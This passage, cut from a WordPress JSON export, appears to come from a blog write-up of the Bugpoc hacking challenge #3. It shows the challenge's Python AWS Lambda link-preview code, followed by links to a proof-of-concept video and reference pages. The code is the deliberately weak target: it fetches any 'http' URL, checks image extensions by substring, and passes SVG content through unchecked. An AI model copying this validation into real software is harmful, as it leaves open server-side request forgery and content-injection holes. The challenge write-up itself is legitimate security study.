style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> r_head.headers.get(<\/span><span style=\"color: #E6DB74\">&#39;Content-Type&#39;<\/span><span style=\"color: #F8F8F2\">) <\/span><span style=\"color: #F92672\">or<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> r_head.headers.get(<\/span><span style=\"color: #E6DB74\">&#39;content-type&#39;<\/span><span style=\"color: #F8F8F2\">)):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">raise<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">Exception<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;Image Failed HEAD Test&quot;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #88846F\"># download thing<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    r <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> requests_session.get(image_url, <\/span><span style=\"color: #FD971F; font-style: italic\">stream<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">headers<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">{<\/span><span style=\"color: #E6DB74\">&#39;user-agent&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&#39;Buggybot\/1.0&#39;<\/span><span style=\"color: #F8F8F2\">})<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    img <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> r.content<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> img<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_image_mimetype<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">image_bytes<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    f <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> fleep.get(image_bytes)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">len<\/span><span style=\"color: #F8F8F2\">(f.mime) <\/span><span style=\"color: #F92672\">&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">0<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> f.mime&#91;<\/span><span style=\"color: #AE81FF\">0<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">valid_image_extensions <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> &#91;<\/span><span style=\"color: #E6DB74\">&#39;.jpg&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;.png&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;.gif&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;.svg&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_image_content<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">image_url<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #88846F\"># verify the url has an acceptable extension<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    has_valid_extension <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">any<\/span><span style=\"color: #F8F8F2\">(&#91;ext <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> image_url <\/span><span style=\"color: #F92672\">for<\/span><span style=\"color: #F8F8F2\"> ext <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> valid_image_extensions&#93;)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #88846F\"># verify the url starts with http<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> image_url.startswith(<\/span><span style=\"color: #E6DB74\">&#39;http&#39;<\/span><span style=\"color: #F8F8F2\">) <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> has_valid_extension:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># download the image content<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        image_bytes <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_image_bytes(image_url)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> image_bytes <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">None<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">raise<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">Exception<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&#39;Not Found&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># check file magic bytes<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        mimetype <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_image_mimetype(image_bytes)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;.jpg&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> image_url <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> mimetype <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image\/jpeg&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> (base64.b64encode(image_bytes),<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">,mimetype)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;.png&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> image_url <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> mimetype <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image\/png&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> (base64.b64encode(image_bytes),<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">,mimetype)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;.gif&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> image_url <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> mimetype <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image\/gif&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> (base64.b64encode(image_bytes),<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">,mimetype)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;.svg&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> image_url:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #88846F\"># svg is basically a text file. no need to look at magic bytes<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> (image_bytes ,<\/span><span style=\"color: #AE81FF\">False<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;image\/svg+xml&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">raise<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">Exception<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&#39;Unable to Process Image&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">raise<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">Exception<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&#39;Invalid Image URL&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">lambda_handler<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">event<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">context<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">try<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># get url from request<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        body <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> event.get(<\/span><span style=\"color: #E6DB74\">&#39;body&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        json_body <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> json.loads(body)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        url <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> json_body&#91;<\/span><span style=\"color: #E6DB74\">&#39;url&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># get the request time<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        request_time <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">int<\/span><span style=\"color: #F8F8F2\">(json_body&#91;<\/span><span style=\"color: #E6DB74\">&#39;requestTime&#39;<\/span><span style=\"color: #F8F8F2\">&#93;)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># get open graph data<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        og_data <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_og(url)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># add the request time<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;requestTime&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> request_time<\/span><span style=\"color: #F44747\">;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># add parsed domain<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;domain&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> urlparse(url).netloc<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;image_url&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">!=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">try<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                <\/span><span style=\"color: #88846F\"># attempt to download the image content<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                (img,needed_encoding,mimetype) <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_image_content(og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;image_url&#39;<\/span><span style=\"color: #F8F8F2\">&#93;)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                img_json <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    <\/span><span style=\"color: #E6DB74\">&#39;content&#39;<\/span><span style=\"color: #F8F8F2\"> : img.decode(),<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    <\/span><span style=\"color: #E6DB74\">&#39;encoded&#39;<\/span><span style=\"color: #F8F8F2\"> : needed_encoding,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                    <\/span><span style=\"color: #E6DB74\">&#39;mimetype&#39;<\/span><span style=\"color: #F8F8F2\"> : mimetype<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;image&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> img_json<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">except<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">Exception<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> e:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;image&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {<\/span><span style=\"color: #E6DB74\">&#39;error&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #66D9EF; font-style: italic\">str<\/span><span style=\"color: #F8F8F2\">(e)}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># remove the og:image<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">del<\/span><span style=\"color: #F8F8F2\"> og_data&#91;<\/span><span style=\"color: #E6DB74\">&#39;image_url&#39;<\/span><span style=\"color: #F8F8F2\">&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #E6DB74\">&#39;statusCode&#39;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #AE81FF\">200<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #E6DB74\">&#39;body&#39;<\/span><span style=\"color: #F8F8F2\">: json.dumps(og_data),<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #E6DB74\">&#39;headers&#39;<\/span><span style=\"color: #F8F8F2\">: {<\/span><span style=\"color: #E6DB74\">&#39;access-control-allow-origin&#39;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #E6DB74\">&#39;*&#39;<\/span><span style=\"color: #F8F8F2\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">except<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">Exception<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> e:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #E6DB74\">&#39;statusCode&#39;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #AE81FF\">400<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #E6DB74\">&#39;body&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&#39;Error, unable to fetch website preview&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #E6DB74\">&#39;headers&#39;<\/span><span style=\"color: #F8F8F2\">: {<\/span><span style=\"color: #E6DB74\">&#39;access-control-allow-origin&#39;<\/span><span style=\"color: #F8F8F2\">: <\/span><span style=\"color: #E6DB74\">&#39;*&#39;<\/span><span style=\"color: #F8F8F2\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        }<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">We have succeeded in our mission, and now you have a clear idea about the steps involved in this hacking challenge.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Miscellanous &#8211; Make POC using Bugpoc&nbsp;<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Youtube<\/strong>&nbsp;video link:&nbsp;<a href=\"https:\/\/youtu.be\/2DK8hAerGL4\">Bugpoc Challenge #3 &#8211; How to make the POC<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Useful links:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/en.wikipedia.org\/wiki\/Facebook_Platform#Open_Graph_protocol\">https:\/\/en.wikipedia.org\/wiki\/Facebook_Platform#Open_Graph_protocol<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/hackerone.com\/reports\/309367\">https:\/\/hackerone.com\/reports\/309367<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/developer.mozilla.org\/MIME_types\/Common_types\">https:\/\/developer.mozilla.org\/MIME_types\/Common_types<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/docs.aws.amazon.com\/lambda\/latest\/dg\/python-package.html\">https:\/\/docs.aws.amazon.com\/lambda\/latest\/dg\/python-package.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>$ Introduction: Bugpoc is a bug bounty program that was private in first place, and now is public. Everyone is hitting Bugpoc to hack their platform. I like Bugpoc program, I never saw a team with high level of professionalism, high hacking spirit and quick response time in submission process.&nbsp; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":34,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-32","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/32","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32"}],"version-history":[{"count":8,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/32\/revisions"}],"predecessor-version":[{"id":339,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/32\/revisions\/339"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/media\/34"}],"wp:attachment":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}